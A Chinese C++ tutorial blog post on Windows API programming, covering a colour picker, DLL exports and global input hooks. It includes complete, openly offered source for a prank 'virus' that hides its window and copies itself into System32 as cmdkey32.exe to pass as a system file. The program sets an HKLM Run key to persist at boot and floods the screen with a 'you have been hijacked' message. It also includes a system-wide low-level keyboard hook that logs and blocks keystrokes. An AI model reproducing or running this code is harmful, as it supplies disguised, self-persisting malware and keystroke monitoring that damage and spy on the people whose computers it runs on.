C++進(jìn)階

API及類型

HANDLE類型 ->進(jìn)程句柄
HWND 類型 ->窗口句柄句柄
CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID)可以獲取系統(tǒng)中正在運(yùn)行的進(jìn)程信息,線程信息
Process32Next()下一個進(jìn)程的句柄。
VirtualAllocEx ()在指定進(jìn)程的虛擬空間保留或提交內(nèi)存區(qū)域,除非指定MEM_RESET參數(shù),否則將該內(nèi)存區(qū)域置0。
SuspendThread()掛起線程

視覺

什么是C++視覺?利用機(jī)器識別一張圖片,可用作于游戲腳本(按鍵精靈類似)
既然是視覺,那么就是電腦上的顯存數(shù)據(jù)(顯卡設(shè)備)

windows的顯存數(shù)據(jù),都保存在一個叫做HDC的上下文的句柄中
我們要取到顏色值,首先要獲取顯存數(shù)據(jù),然后根據(jù)顯存指針得到你想要的點(diǎn)的顏色值

HDC myDc = GetDC();需要一個窗口句柄

GetDC();獲取某一個窗口的HDC。參數(shù)窗口句柄如果穿0那么就是獲取桌面

獲取鼠標(biāo)位置

DWORD pos;
GetCursorPos(&pos) 獲取鼠標(biāo)位置

獲取指定位置顏色獲取的是BRG 不是RGB我們需要轉(zhuǎn)換

HDC dc設(shè)備 = GetDC(0); //獲取桌面的DC

int BGR = GetPixel(dc設(shè)備,100,100); //獲取桌面位置在100,100的顏色值

解析獲得的BGR

例如我們獲得的BGR是6531137這個值轉(zhuǎn)為二進(jìn)制011000111010100001000001
我們以8位數(shù)為一個單位

B G R
01100011 10101000 01000001

按照這個規(guī)律我們往數(shù)據(jù)的左側(cè)填充2 * 8 單位的0是不是就是BGR中的B
也就是說BGR往右移16就是B => BGR>>16

NULL NULL B
00000000 00000000 01100011

繼續(xù)我們獲得BGR中的G
按照這個規(guī)律我們往數(shù)據(jù)的左側(cè)填充 8 單位的0
也就是說BGR往右移8就是 => BGR>>8

NULL B G
00000000 01100011 10101000

然后我們在進(jìn)行二進(jìn)制的位運(yùn)算(&) BGR>>8 & 0xff0XFF在二進(jìn)制中是11111111

NULL B G
00000000 01100011 10101000
00000000 00000000 11111111

&運(yùn)算同為1則結(jié)果為1,不相同則為0,這樣我們就得到了R

獲取R,這個就很簡單了,我們直接進(jìn)行位運(yùn)算(&)0XFF就是最后的R了

實(shí)戰(zhàn)視覺 - 取色器

#include <iostream>
#include <Windows.h>
using namespace std;


int main()
{
    /*
        用戶按下ctrl  就獲取鼠標(biāo)當(dāng)前位置的顏色;
    */
    HDC dc設(shè)備 = GetDC(0);
    int beforeX= NULL, beforeY = NULL;
    while (true)
    {
        if (-32767 == GetAsyncKeyState(VK_CONTROL))
        {//然后我們獲取鼠標(biāo)的位置
            POINT pos;
            GetCursorPos(&pos);
            if (pos.x - beforeX || pos.y - beforeY )
            {//必須保證鼠標(biāo)和上次的坐標(biāo)不一致,這樣可以避免重復(fù)取色
                int resut = GetPixel(dc設(shè)備, pos.x, pos.y);
                cout << endl;
                cout << "十進(jìn)制顏色"
                    << resut
                    <<endl;
                cout << "  R:"
                    << (resut & 0xFF)
                    << "  G:"
                    << (resut >> 8 & 0xFF)
                    << "  B:"
                    << (resut >> 16)
                    << endl;
                beforeX = pos.x;
                beforeY = pos.y;
            }
        }

    }

    system("pause");
    return 0;
}

查找某個窗口的句柄

FindWindow(LPCSTR lpClassName ,LPCSTR lpWindowName)
lpClassName->窗口類名、lpWindowName->窗口名字
返回一個HWND值

做一個視覺上的"病毒"程序

先上效果圖


image.png

無法關(guān)閉,開機(jī)自啟動,偽裝成系統(tǒng)文件

#include <iostream>
#include <Windows.h>
#include <time.h>
#pragma warning(disable:4996)//忽略4996的報(bào)錯
#pragma comment(linker, "/entry:mainCRTStartup /subsystem:windows")//使窗體不顯示出來
using namespace std;

void test()
{
    srand(time(0));
}

int gerRand(int a,int b)
{
    return (rand() % (b - a + 1) + a);
}

int main()
{
    HDC dc = GetDC(0);
    HFONT 字體 = CreateFont(
        25,10,0,0,5,0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH | FF_SWISS,"微軟雅黑"
    );
    SetTextColor(dc,RGB(255,0,0));//設(shè)置字體顏色
    SelectObject(dc,字體);
    SetBkMode(dc, TRANSPARENT);//設(shè)置背景為透明

    char PATH[MAXBYTE] = {0}; //設(shè)置文件的路徑
    GetModuleFileName(NULL, PATH,MAXBYTE);//獲取文件的名字保存
    PVOID oldValue = 0;
    Wow64DisableWow64FsRedirection(&oldValue);//使用這個函數(shù)后可重定向訪問到正確的 64 位注冊項(xiàng)
    CHAR copy[MAXBYTE] = { 0 }; //把現(xiàn)在的文件路徑考到copy字段
    strcat(copy,"copy \"");
    strcat(copy, PATH);
    strcat(copy,"\" \"");
    strcat(copy, "C:\\Windows\\System32\\cmdkey32.exe");
    strcat(copy,"\"");
    /*
        此時(shí)的copy的語句是
        copy "debug下的當(dāng)前程序 c盤/\\Windows\\System32\\cmdkey32.exe"
        就是把程序拷貝到c盤下
    */
    system(copy);//執(zhí)行cmd命令
    /* 把程序放入開機(jī)自動運(yùn)行的注冊表 */
    HKEY Hkey = 0; 
    RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, 0, REG_OPTION_NON_VOLATILE, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL,
        &Hkey, NULL
    );
    RegSetKeyValueA(Hkey,"Mypro",0,REG_SZ, (BYTE *)"C:\\Windows\\System32\\cmdkey32.exe",35);




    while (true)
    {
        ExtTextOut(dc, gerRand(0,1920), gerRand(0, 1080), ETO_CLIPPED, NULL, "你已被劫持,請聯(lián)系簡書 · 十年之后", 38, 0);
        //繪制出來
        Sleep(20);
    }
    ReleaseDC(0,dc);



    system("pause");
    return 0;
}

DLL

使用vs創(chuàng)建一個空的DLL工程

// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:/*被進(jìn)程加載的時(shí)候調(diào)用*/
    case DLL_THREAD_ATTACH:/*當(dāng)進(jìn)程有新的線程的時(shí)候*/
    case DLL_THREAD_DETACH:/**當(dāng)進(jìn)程有一個線程被關(guān)閉的時(shí)候*/
    case DLL_PROCESS_DETACH:/*進(jìn)程被卸載的時(shí)候*/
        break;
    }
    return TRUE;
}

然后編譯生成一個DLL,我們在寫一個exe程序也就是win32空程序調(diào)用剛剛我們寫的DLL文件

重點(diǎn)是HMODULE類型 以及調(diào)用DLL函數(shù)LoadLibrary

exe程序
int main()
{
    HMODULE hmodule = LoadLibrary(你剛剛生成的DLL路徑);
    if (!hmodule)
    {
        cout << "DLL加載失敗" << endl;
    }
    Sleep(200000);
}

DLL中的變量、函數(shù)在其他exe程序中使用

變量調(diào)用

DLL
extern "C" int __declspec(dllexport) test = 3124; //定義變量test 
exe
HMODULE hmodule = LoadLibrary(你剛剛生成的DLL路徑);
int DLLinBian = *(int *)GetProcAddress(hmodule, "test");//獲取值

函數(shù)調(diào)用

DLL
extern "C" int __declspec(dllexport) addSum(int a ,int b)
{
    return a + b;
}
exe
typedef int*(*MYFn)(int,int);
MYFn DLLFn = (MYFn)GetProcAddress(hmodule, "addSum");
int a = (int)DLLFn(3, 4);

用DLL構(gòu)建一個系統(tǒng)全局消息鉤子

SetWindowsHookEx
鉤子(Hook),是Windows消息處理機(jī)制的一個平臺,應(yīng)用程序可以在上面設(shè)置子程以監(jiān)視指定窗口的某種消息,而且所監(jiān)視的窗口可以是其他進(jìn)程所創(chuàng)建的。當(dāng)消息到達(dá)后,在目標(biāo)窗口處理函數(shù)之前處理它。鉤子機(jī)制允許應(yīng)用程序截獲處理Windows消息或特定事件

//DLL
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。
#include "stdafx.h"
#include <iostream>
using namespace std;

/*
    做一個全局的消息鉤子函數(shù)
*/

/*
    回調(diào)函數(shù)
    CALLBACK_WH_GETMESSAGE : 處理監(jiān)聽鼠標(biāo)鍵盤的回調(diào)函數(shù)
*/
LRESULT CALLBACK CALLBACK_WH_GETMESSAGE(_In_ int ncode, _In_ WPARAM  wParm,LPARAM lParm) 
{
    cout <<"哈哈"<< endl;
    return CallNextHookEx(NULL, ncode, wParm, lParm);
}

/*
    回調(diào)函數(shù)
    處理
    WH_CALLWNDPROC :攔截所有的SendMessage處理消息
*/
LRESULT CALLBACK CALLBACK_WH_CALLWNDPROC(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    return CallNextHookEx(NULL, ncode, wParm, lParm);
}

/*
    回調(diào)函數(shù)
    處理
    WH_CBTWH_DEBUG :攔截所有窗口事件
*/

LRESULT CALLBACK CALLBACK_WH_CBT(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    return CallNextHookEx(NULL, ncode, wParm, lParm);
}

/*
    回調(diào)函數(shù)
    處理
    WH_CBTWH_DEBUG : 攔截鉤子(hook)創(chuàng)建的類型
*/
LRESULT CALLBACK CALLBACK_WH_CBTWH_DEBUG(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    return CallNextHookEx(NULL, ncode, wParm, lParm);
}

/*
    回調(diào)函數(shù)
    處理
    WH_FOREGROUNDIDLE : 攔截線程休眠,暫停線程的消息
*/
LRESULT CALLBACK CALLBACK_WH_FOREGROUNDIDLE(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
    回調(diào)函數(shù)
    處理
    WH_MOUSE_LL : 攔截鼠標(biāo)消息
    可以判斷你的鼠標(biāo)消息是模擬的還是硬件觸發(fā)的
    比如按鍵精靈就是模擬的或者mouse_event都是模擬的
*/
LRESULT CALLBACK CALLBACK_WH_MOUSE_LL(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    if(ncode == HC_ACTION) /*進(jìn)入鉤子必須判斷*/
    {
        //return 如果一開始就return掉了  那么 你鼠標(biāo)移動動不了了
        /*
            像一些大型的游戲他就很有可能在這里做了HOOK
            判斷鼠標(biāo)移動是模擬的之后就直接return掉了
            然后就不會相應(yīng)你模擬操作的內(nèi)容
        */

        MOUSEHOOKSTRUCT pMouseHook = *((PMOUSEHOOKSTRUCT)lParm);
        cout << pMouseHook.wHitTestCode << endl;
        if (pMouseHook.wHitTestCode)
        {//當(dāng)為1時(shí)說明是 虛擬模擬的
            //現(xiàn)在游戲可能就是這樣屏蔽了你用腳本(按鍵鍵盤)屏蔽了
            cout << "你模擬了鼠標(biāo)操作" << endl;
        }
        else
        {//說明他是用戶自己操作了鼠標(biāo)
            cout << "我監(jiān)控了你鼠標(biāo)的記錄" << endl;
        }
    }

    return CallNextHookEx(NULL, ncode, wParm, lParm);
}

LRESULT CALLBACK CALLBACK_WH_KEYBOARD_LL(_In_ int ncode, _In_ WPARAM  wParm, LPARAM lParm)
{
    
    if (ncode == HC_ACTION)
    {
        if (WM_KEYDOWN == wParm)
        { //只處理鍵盤按下
            KBDLLHOOKSTRUCT *KEY = (KBDLLHOOKSTRUCT*)lParm;
            cout << "攔截到你的鍵盤消息,鍵盤碼:" << KEY->vkCode << endl;
            /*
                這樣就監(jiān)控到你按了什么鍵盤
            */
            if (KEY->vkCode == 97)
            {//鍵盤碼 - 數(shù)字鍵盤1
                printf("屏蔽小鍵盤1\n");
                /*
                    這樣做 那么你按下數(shù)字鍵盤1  那么就不會打出1來了
                */
                return true;
            }
        }
    }
    //return true;  如果這里直接返回 那么你的任何窗口都打不出字了
    return CallNextHookEx(NULL, ncode, wParm, lParm); //不阻塞他消息運(yùn)行
}

//導(dǎo)出開始HOOK函數(shù)
/*
    hookType :鉤子類型
    ID:線程ID
    鉤子類型類型
*/
HINSTANCE 句柄 = NULL;
extern "C" _declspec(dllexport)HHOOK StartHook(CHAR hookType, DWORD ID)
{
    HHOOK hok = NULL;
    switch (hookType)
    {
    case 1:
        /*
            攔截鍵盤鼠標(biāo)
        */
        hok = SetWindowsHookEx(WH_GETMESSAGE, CALLBACK_WH_GETMESSAGE, 句柄, ID);
        break;
    case 2:
        /*
            攔截鍵盤
        */
        hok = SetWindowsHookEx(WH_KEYBOARD_LL, CALLBACK_WH_KEYBOARD_LL, 句柄, ID);
        MSG msg;
        while (GetMessage(&msg,NULL,0,0))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        break;
    case 3:
        /*
            底層攔截鼠標(biāo)消息
        */
        hok = SetWindowsHookEx(WH_MOUSE_LL, CALLBACK_WH_MOUSE_LL, 句柄, ID);
        MSG msgs;
        while (GetMessage(&msgs, NULL, 0, 0))
        {
            TranslateMessage(&msgs);
            DispatchMessage(&msgs);
        }
        break;
    case 4:

        break;
    case 5:

        break;
    case 6:

        break;
    case 7:

        break;
    case 8:

        break;
    case 9:

        break;
    case 10:

        break;
    case 11:

        break;
    case 12:

        break;
    case 13:

        break;
    default:
        break;
    }
    return hok;
}

extern "C" _declspec(dllexport)BOOL UnHook(HHOOK Hhook)
{
    return UnhookWindowsHookEx(Hhook);
}

//DLL主函數(shù)
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:/*被進(jìn)程加載的時(shí)候調(diào)用*/
        句柄 = hModule;
        break;
    case DLL_THREAD_ATTACH:/*當(dāng)進(jìn)程有新的線程的時(shí)候*/
    case DLL_THREAD_DETACH:/**當(dāng)進(jìn)程有一個線程被關(guān)閉的時(shí)候*/
    case DLL_PROCESS_DETACH:/*進(jìn)程被卸載的時(shí)候*/
        break;
    }
    return TRUE;
}
exe
int main()
{
    HMODULE DLL = LoadLibrary(L"E:\\Cdata01\\MYDLL\\Debug\\MYDLL.dll");

    HHOOK(*StartHook)(CHAR, DWORD) = (HHOOK(*)(CHAR, DWORD))GetProcAddress(DLL,"StartHook");
    BOOL(*UnHook)(HHOOK) = (BOOL(*)(HHOOK))GetProcAddress(DLL, "UnHook");
    HHOOK JUB = StartHook(2, 0);
    Sleep(200000);
}

CString轉(zhuǎn)換成 char *

CString strFilePath = _T("測試的");
USES_CONVERSION;
char* p = T2A(strFilePath.GetBuffer(0));
strFilePath.ReleaseBuffer();
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • C#(發(fā)音為 C sharp,正確寫法應(yīng)為 C?),是一種簡單、現(xiàn)代、通用、面向?qū)ο蟮木幊陶Z言,支持跨平臺。支持結(jié)...
    神齊閱讀 2,673評論 0 3
  • 什么是異常? 異常實(shí)際上是程序中錯誤導(dǎo)致中斷了正常的指令流的一種事件. 異常處理的優(yōu)點(diǎn): 沒有處理錯誤的程序: r...
    沉麟閱讀 589評論 0 0
  • 枚舉:可以被窮舉的結(jié)構(gòu) 有限個數(shù) 使用enum關(guān)鍵字來聲明,與類同級。枚舉本身可以有修飾符,但枚舉的成員始終是公共...
    沉麟閱讀 842評論 0 0
  • 1. 宏定義是什么? 宏是用來表示一段代碼的標(biāo)識符。 宏也是標(biāo)識符,也要滿足標(biāo)識符的規(guī)則。但通常習(xí)慣使用大寫字母和...
    jdzhangxin閱讀 1,438評論 0 0
  • 0. 文件輸入輸出 使用printf()和命令行重定向>實(shí)現(xiàn)文件輸出;使用scanf()和命令行重定向<實(shí)現(xiàn)文件輸...
    jdzhangxin閱讀 1,045評論 0 2

友情鏈接更多精彩內(nèi)容